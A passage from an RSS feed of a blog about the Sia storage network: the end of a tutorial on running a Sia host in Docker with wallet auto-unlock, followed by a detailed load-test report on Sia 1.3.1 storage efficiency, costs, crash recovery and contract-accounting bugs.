Target:     &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0 0 0 0 0 0 0 1 61 111 157 154 232 7 83 238 3 198 188 134 189 68 199 132 204 75 47 173 235 145 21 156]
Difficulty: 14876594033137897278
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When &lt;code class=&quot;highlighter-rouge&quot;&gt;siac consensus&lt;/code&gt; reports that your wallet is fully synced, initialize your wallet:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia-container ./siac wallet init
Recovery seed:
niche lifestyle biology wept randomly wept plywood maverick dozen gnome sadness hunter directed never affair today business puffin orbit bunch serving rhino airport kitchens aphid eccentric unfit acquire afield

Wallet encrypted with password:
niche lifestyle biology wept randomly wept plywood maverick dozen gnome sadness hunter directed never affair today business puffin orbit bunch serving rhino airport kitchens aphid eccentric unfit acquire afield
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order for Sia to auto-unlock on restart, you’ll need to copy your wallet seed into a file. Note that there is a risk in storing your wallet seed in plaintext. If an attacker gains physical access to your disk, they can recover your seed and steal the contents of your Sia wallet. You can mitigate this risk by storing the file on an encrypted filesystem and securely wiping the disk when you decommission the node.&lt;/p&gt;

&lt;p&gt;To enable auto-unlock, follow the commands below:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ SEED_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;wallet-seed.txt
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;touch&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$SEED_FILE&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;600 &lt;span class=&quot;nv&quot;&gt;$SEED_FILE&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Write your wallet passphrase in this file.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;vim &lt;span class=&quot;nv&quot;&gt;$SEED_FILE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, kill your old container and start a new one with the &lt;code class=&quot;highlighter-rouge&quot;&gt;host&lt;/code&gt; module enabled:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Kill the old container.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; sia-container

&lt;span class=&quot;c&quot;&gt;# Start a new container with host settings.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker run &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--detach&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--volume&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/sia-data:/sia-data &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 127.0.0.1:9980:9980 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9981:9981 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--publish&lt;/span&gt; 9982:9982 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--restart&lt;/span&gt; always &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--env&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;SIA_MODULES&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;gctwh&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--env&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;SIA_WALLET_PASSWORD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$SEED_FILE&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; sia-container &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
   mtlynch/sia
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you have a Docker container optimized for Sia hosting. If Sia ever crashes, Docker will restart it and auto-unlock the wallet so that you can continue accepting new contracts.&lt;/p&gt;

&lt;p&gt;When new versions of Sia are released, upgrading is easy. Just remove the container and pull down the latest image:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; sia-container
docker pull mtlynch/sia
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then re-run the last &lt;code class=&quot;highlighter-rouge&quot;&gt;docker run&lt;/code&gt; command shown above. Docker will automatically pull down the image of Sia that has the latest version of Sia. Your host will upgrade and come back online in seconds.&lt;/p&gt;

&lt;h3 id=&quot;running-sia-on-a-nas&quot;&gt;Running Sia on a NAS&lt;/h3&gt;

&lt;p&gt;Two years ago, I wrote a tutorial for running Sia from a Synology NAS. I’ve kept this tutorial up to date for every version of Sia since then, and now I’ve updated it to use my pre-built Sia Docker image:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://mtlynch.io/sia-via-docker/&quot;&gt;Running Sia on a Synology NAS via Docker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;source-code&quot;&gt;Source code&lt;/h2&gt;

&lt;p&gt;The Sia Docker image is fully open-source and available under the MIT license. The images are built publicly on Docker Hub so you can verify their security and integrity:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mtlynch/docker-sia&quot;&gt;Github&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/mtlynch/sia/&quot;&gt;Docker Hub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 18 Apr 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/sia-docker/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/sia-docker/</guid>
      </item>
    
      <item>
        <title>Sia Load Test Result 3: Best-Case Scenario</title>
        <description>&lt;p&gt;In February, I &lt;a href=&quot;/sia-load-test-preview/&quot;&gt;announced&lt;/a&gt; the first ever load test of Sia. The load test consists of three distinct test cases:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;/load-test-1&quot;&gt;Worst-case scenario&lt;/a&gt; (published 2018-03-15)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/load-test-2&quot;&gt;Real data scenario&lt;/a&gt; (published 2018-03-23)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Best-case scenario (this report)&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This test was intended to use synthetic input files to maximize Sia’s storage capacity. Interestingly, this test underperformed the &lt;a href=&quot;/load-test-2&quot;&gt;real data test&lt;/a&gt;, which used actual data instead of synthetic files.&lt;/p&gt;

&lt;h2 id=&quot;results-summary&quot;&gt;Results summary&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Metric&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Total uploaded&lt;/td&gt;
      &lt;td&gt;1.5 TiB (file bytes)&lt;br /&gt;7.2 TiB (absolute bytes)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Storage efficiency&lt;/td&gt;
      &lt;td&gt;21.5%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total files uploaded&lt;/td&gt;
      &lt;td&gt;40,552&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total file contracts created&lt;/td&gt;
      &lt;td&gt;68&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total spent&lt;/td&gt;
      &lt;td&gt;1,840 SC&lt;br /&gt;$25.21* USD&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;$ per TB/month&lt;/td&gt;
      &lt;td&gt;$5.13**&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total test time&lt;/td&gt;
      &lt;td&gt;336.0 hours (14.0 days)***&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Average upload bandwidth&lt;/td&gt;
      &lt;td&gt;11.2 Mbps (file data)&lt;br /&gt;52.2 Mbps (absolute)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Sia crashes&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Sia version&lt;/td&gt;
      &lt;td&gt;1.3.1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Test OS&lt;/td&gt;
      &lt;td&gt;Win10 x64&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;* Based on Siacoin value at test start (1.370 cents per SC). Assumes that unused renter funds will successfully return to the test wallet at the conclusion of the renter contracts.&lt;/p&gt;

&lt;p&gt;**Assumes that a standard renter contract lasts 2.77 months. Excludes bandwidth costs.&lt;/p&gt;

&lt;p&gt;*** Test was manually terminated at 14 days, as that was the maximum test duration.&lt;/p&gt;

&lt;h2 id=&quot;file-bytes-vs-absolute-bytes&quot;&gt;File bytes vs. absolute bytes&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;(feel free to skip this if you read this in the &lt;a href=&quot;/load-test-2&quot;&gt;previous report&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;On traditional cloud storage providers like Amazon S3 or Google Cloud Storage, there is a 1:1 ratio between the size of your files and the amount of data for which you are billed. If you upload 100 GiB of files, you pay for 100 GiB of upload bandwidth and for 100 GiB of storage space.&lt;/p&gt;

&lt;p&gt;Sia’s costs are more complicated. If you upload 100 GiB of files, the best you can hope for is to pay for 300 GiB in bandwidth and storage (due to Sia’s 3x replication). In practice, the cost is not easily predictable, as it depends on how efficiently Sia repackages your files and how reliable your hosts are.&lt;/p&gt;

&lt;p&gt;To keep the semantics clear, I introduce two terms for distinguishing between these metrics:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File bytes&lt;/strong&gt; is the total number of bytes in files uploaded to Sia.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Absolute bytes&lt;/strong&gt; is the total amount of data uploaded to hosts, including Sia metadata, file padding, and redundant copies of the data.&lt;/p&gt;

&lt;p&gt;If you upload a 100 GiB file and it causes to Sia upload 350 GiB to hosts, that represents a 100 GiB increase in file bytes and a 350 GiB increase in absolute bytes.&lt;/p&gt;

&lt;h2 id=&quot;file-data-bandwidth-vs-absolute-bandwidth&quot;&gt;File data bandwidth vs. absolute bandwidth&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;(feel free to skip this if you read this in the &lt;a href=&quot;/load-test-2&quot;&gt;previous report&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Because of the distinction between file bytes and absolute bytes, a similar disambiguation is required for bandwidth. In this report, I distinguish between file data bandwidth and absolute bandwidth.&lt;/p&gt;

&lt;p&gt;The simplest way to explain them is through an example:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;User uploads a 500 MB file to Sia.&lt;/li&gt;
  &lt;li&gt;Sia breaks this file into 12 equally-sized chunks of ~42 MB each, totaling ~504 MB.&lt;/li&gt;
  &lt;li&gt;Sia uploads each chunk to three different hosts.&lt;/li&gt;
  &lt;li&gt;All uploads complete after 40 seconds.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The file data bandwidth is simply the size of the file divided by the upload duration:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;= 500 MB / 40 seconds
= 4000 Mb / 40 seconds
= 100 Mbps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The absolute bandwidth is the total amount of data transferred divided by the upload duration:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;= ((42 MB * 12 chunks) * 3 hosts) / 40 seconds
= ((504 MB) * 3 hosts) / 40 seconds
= 1512 MB / 40 seconds
= 12096 Mb / 40 seconds
= 302.4 Mbps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;file-data-bandwidth-is-what-matters&quot;&gt;File data bandwidth is what matters&lt;/h2&gt;

&lt;p&gt;If you have 50 TiB of data to upload to Sia, and you want to know how long this will take, that’s the file data bandwidth.&lt;/p&gt;

&lt;p&gt;The absolute data bandwidth is useful to guide Sia developers in designing their upload algorithms, but it is not directly relevant to users.&lt;/p&gt;

&lt;p&gt;In this report, I focus on file data bandwidth.&lt;/p&gt;

&lt;h2 id=&quot;input-data&quot;&gt;Input data&lt;/h2&gt;

&lt;p&gt;The input files in this test were designed to maximize Sia’s storage efficiency.&lt;/p&gt;

&lt;p&gt;Because Sia breaks files up into chunks of exactly 41942760 bytes (~40 MiB) each, it adds padding to the end of a file so that the file’s size divides evenly by 41942760.&lt;/p&gt;

&lt;p&gt;In the &lt;a href=&quot;/load-test-1/&quot;&gt;worst-case scenario&lt;/a&gt; test, I used files of 1 byte each. This caused Sia to generate chunks that were almost entirely padding, resulting in abysmal efficiency.&lt;/p&gt;

&lt;p&gt;With files of exactly 41942760 bytes, Sia does not need to add any padding. In theory, files of this size should allow Sia to maximize its storage capacity and minimize cost.&lt;/p&gt;

&lt;h2 id=&quot;test-machine-crash&quot;&gt;Test machine crash&lt;/h2&gt;

&lt;p&gt;At 2018-04-01 at 12:47:56Z (249.5 hours into testing), my Windows test machine crashed. I rebooted it and resumed the load test a few minutes later, but you’ll see in the graphs below that this crash had a significant impact on results.&lt;/p&gt;

&lt;p&gt;I was unable to analyze the Windows crash dump, and I don’t have any evidence that Sia caused it. My desktop does crash roughly once per month, so this was not out of the ordinary.&lt;/p&gt;

&lt;p&gt;The crash complicates my analysis, but it also reveals interesting behavior in Sia.&lt;/p&gt;

&lt;h2 id=&quot;storage-efficiency&quot;&gt;Storage efficiency&lt;/h2&gt;

&lt;p&gt;To measure how well Sia stores data, I created the metric of “storage efficiency,” which is simply the file bytes divided by the absolute bytes.&lt;/p&gt;

&lt;p&gt;On traditional cloud storage providers, efficiency is 100% because you pay for exactly the size of your files. On Sia, the best possible efficiency is 33.3% because Sia uploads every byte of file data at least three times for redundancy. Other factors can degrade efficiency, such as inefficient repackaging of files or unreliable hosts.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-12-load-test-3/storage-efficiency.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-12-load-test-3/storage-efficiency.png&quot; alt=&quot;Graph of storage efficiency over time&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/372/storage-efficiency.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/672/storage-efficiency.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/756/storage-efficiency.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/840/storage-efficiency.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-12-load-test-3/storage-efficiency.png 867w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Sia 1.3.1 Load Test&amp;#58; Real Data - Storage efficiency&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;h3 id=&quot;efficiency-was-stable-at-33-for-most-of-the-test&quot;&gt;Efficiency was stable at 33% for most of the test&lt;/h3&gt;

&lt;p&gt;As mentioned above, Sia’s best possible storage efficiency is 33.3%. For most of the test, Sia achieved an efficiency very close to this, at 33.0%. This indicates that the test was successful at crafting input files that maximized Sia’s storage efficiency.&lt;/p&gt;

&lt;h3 id=&quot;efficiency-plummeted-after-sias-restart&quot;&gt;Efficiency plummeted after Sia’s restart&lt;/h3&gt;

&lt;p&gt;The efficiency graph shows a significant drop immediately after the reboot. This was unexpected because rebooting a Sia server shouldn’t affect efficiency.&lt;/p&gt;

&lt;p&gt;I examined the &lt;a href=&quot;https://gist.github.com/mtlynch/05c632207dfa1672cf791e1ab5b25f99#file-renter-log&quot;&gt;renter.log&lt;/a&gt; file and saw that prior to the reboot, Sia found very few file chunks in need of repair:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2018/04/01 08:17:19.265574 repairscanner.go:330: Repairing 1 chunks
2018/04/01 08:34:07.031143 repairscanner.go:330: Repairing 2 chunks
2018/04/01 08:49:19.697486 repairscanner.go:330: Repairing 0 chunks
2018/04/01 09:04:31.972274 repairscanner.go:330: Repairing 0 chunks
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When I restarted Sia after the crash, it determined that a very high number of chunks needed repairs:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2018/04/01 12:55:47.281709 persist.go:403: STARTUP: Logging has started. Siad Version 1.3.1
2018/04/01 13:01:19.057547 repairscanner.go:330: Repairing 7 chunks
2018/04/01 13:18:16.239757 repairscanner.go:330: Repairing 36107 chunks
2018/04/01 22:52:47.761800 repairscanner.go:330: Repairing 16325 chunks
2018/04/02 01:22:29.756573 repairscanner.go:330: Repairing 27345 chunks
2018/04/02 08:56:46.854863 repairscanner.go:330: Repairing 31010 chunks
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This strongly suggests a bug in Sia, as a reboot should not suddenly require this many file repairs.&lt;/p&gt;

&lt;p&gt;It’s possible that the reboot invalidated file contracts by preventing Sia from writing the latest contract versions to disk,  but Sia’s write-ahead log is supposed to &lt;a href=&quot;https://github.com/NebulousLabs/Sia/releases/tag/v1.3.1&quot;&gt;prevent this type of data corruption&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Alternatively, this could be the result of flaky hosts, but it’s unlikely that hosts became flaky immediately after my test machine rebooted.&lt;/p&gt;

&lt;h3 id=&quot;final-efficiency-was-worse-than-the-real-data-test&quot;&gt;Final efficiency was worse than the real data test&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;/load-test-2/&quot;&gt;previous test case&lt;/a&gt; finished with a storage efficiency of 28.3%, while this test finished significantly below that, at 21.5%.&lt;/p&gt;

&lt;p&gt;This is unexpected, given that this test optimized specifically for storage efficiency. The first 250 hours reflected this, but Sia’s aggressive data reuploading post-reboot dragged down storage efficiency.&lt;/p&gt;

&lt;h2 id=&quot;cost&quot;&gt;Cost&lt;/h2&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-12-load-test-3/renter-spending.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-12-load-test-3/renter-spending.png&quot; alt=&quot;Graph of renter spending over time&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/372/renter-spending.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/672/renter-spending.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/756/renter-spending.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/840/renter-spending.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-12-load-test-3/renter-spending.png 867w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Sia 1.3.1 Load Test&amp;#58; Real Data - Renter spending&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;h3 id=&quot;cost-per-tb-was-513&quot;&gt;Cost per TB was $5.13&lt;/h3&gt;

&lt;p&gt;This test was designed to achieve the lowest possible storage costs, but it underperformed the previous test that used real data. The high cost was a combination of poor efficiency (discussed above) and low upload bandwidth.&lt;/p&gt;

&lt;p&gt;Sia’s average upload bandwidth throughout the test was only 11.2 Mbps. Sia should have been able to upload about 4 TiB of data in its 68 contracts, but filling those at 11.2 Mbps would take ~35 days. In other words, by the time you uploaded 4 TiB, half the storage contract would be over.&lt;/p&gt;

&lt;p&gt;Given that this load test was limited to 14 days, the upload bandwidth was too low for Sia to fill its storage contracts to capacity within this window.&lt;/p&gt;

&lt;h3 id=&quot;sias-contract-count-is-inaccurate&quot;&gt;Sia’s contract count is inaccurate&lt;/h3&gt;

&lt;p&gt;Before the system crashed, Sia reported a contract count of 52 at time 2018-04-01T12:47:49Z. Then, after the system rebooted, Sia reported a contract count of 58 at 2018-04-01T13:04:03Z.&lt;/p&gt;

&lt;p&gt;Sia’s &lt;a href=&quot;https://gist.github.com/mtlynch/05c632207dfa1672cf791e1ab5b25f99#file-contractor-log&quot;&gt;contractor.log&lt;/a&gt; shows no new contracts being formed in this window:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2018/04/01 12:41:53.929749 contracts.go:479: WARN: failed to renew contract 6733d90c9412f269a7a583ae0c297dc173a8d02b1deca3118a3eaac9c618f857: host did not accept our proposed contract: internal error: host has reached its collateral budget and cannot accept the file contract
2018/04/01 12:55:42.820989 contractor.go:194: STARTUP: Logging has started. Siad Version 1.3.1
2018/04/01 13:05:44.958722 contracts.go:426: renewing 1 contracts
2018/04/01 13:05:45.492354 contracts.go:479: WARN: failed to renew contract 6733d90c9412f269a7a583ae0c297dc173a8d02b1deca3118a3eaac9c618f857: host did not accept our proposed contract: internal error: host has reached its collateral budget and cannot accept the file contract
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A grep of the contractor log shows 62 lines where a contract was formed and 17 where a contract was renewed, but these numbers don’t match the final count of 68 contracts from Sia’s &lt;code class=&quot;highlighter-rouge&quot;&gt;/renter/contracts&lt;/code&gt; API.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Formed contract&quot;&lt;/span&gt; contractor.log  | &lt;span class=&quot;nb&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt;
62
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Renewed contract&quot;&lt;/span&gt; contractor.log  | &lt;span class=&quot;nb&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt;
17
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I compared a snapshot of the &lt;code class=&quot;highlighter-rouge&quot;&gt;/renter/contracts&lt;/code&gt; API just after the reboot to one captured 12 hours prior and found the six new contract IDs that suddenly appeared after the reboot:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;f76fb41f7f171809d4c30f8d12be03ea8cdce4b6a06a622880a6205806a6de07
988c0a6b333b6e4bdaa9d0274468512d44bf972acb4b9d78c87860b6fe03da19
7af5728975519eca7b2fc2245adc8dcdd1e245847c72b0d7b377192149089881
ede949e90ab8932b75468a58d54cc465111a275515d3b7adbc96059cc4c40e4a
e751ff0f049e97680715cef9452dc0416ab280d8bbee31d84d553eecbae7a94d
47f1260cec7171878c0c7ad1f996c9c1beae5d0b73999ea58541b3d5d450a454
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It was difficult to debug further because Sia does not log a contract’s ID when it is formed. I submitted &lt;a href=&quot;https://github.com/NebulousLabs/Sia/pull/2933&quot;&gt;PR #2933&lt;/a&gt; so that Sia logs this information in the future.&lt;/p&gt;

&lt;h3 id=&quot;sias-incorrect-contract-accounting-seems-related-to-bugs-causing-fund-disappearance&quot;&gt;Sia’s incorrect contract accounting seems related to bugs causing fund disappearance&lt;/h3&gt;

&lt;p&gt;I’ve replicated &lt;a href=&quot;https://github.com/NebulousLabs/Sia/issues/2772&quot;&gt;bug #2772&lt;/a&gt; in every test I’ve run. It occurred in this test but with a twist.&lt;/p&gt;

&lt;p&gt;As Sia spends money from the 5,000 SC allocated for this test, the money should move from the Sia wallet into Sia contracts, maintaining a constant sum of 5,000 SC. The graph below shows that the funds start by totaling 5,000 SC but then gradually decrease as funds disappear.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-12-load-test-3/funds-balance.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-12-load-test-3/funds-balance.png&quot; alt=&quot;Graph of renter funds balance over time&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/372/funds-balance.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/672/funds-balance.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/756/funds-balance.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-12-load-test-3/840/funds-balance.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-12-load-test-3/funds-balance.png 867w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Sia 1.3.1 Load Test&amp;#58; Worst-case - Funds split between wallet balance and total contract spending&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;p&gt;The twist in this case was that just after the system reboot, total funds &lt;em&gt;increased&lt;/em&gt;. At the 249.0 hour mark, contract spending and wallet balance summed to 4,800 SC, leaving 200 SC missing.&lt;/p&gt;

&lt;p&gt;After the reboot, but before Sia began purchasing new contracts, Sia’s contract count jumped from 52 to 58 and its contract spending jumped from 1,933 SC to 2,133 SC, eliminating the 200 SC discrepancy. During this time, Sia’s wallet balance remained at 2,867 SC with no incoming or outgoing transactions. 2,133 SC and 2,867 SC sum to 5,000 SC, which is the expected total because that was the wallet balance at the start of the test.&lt;/p&gt;

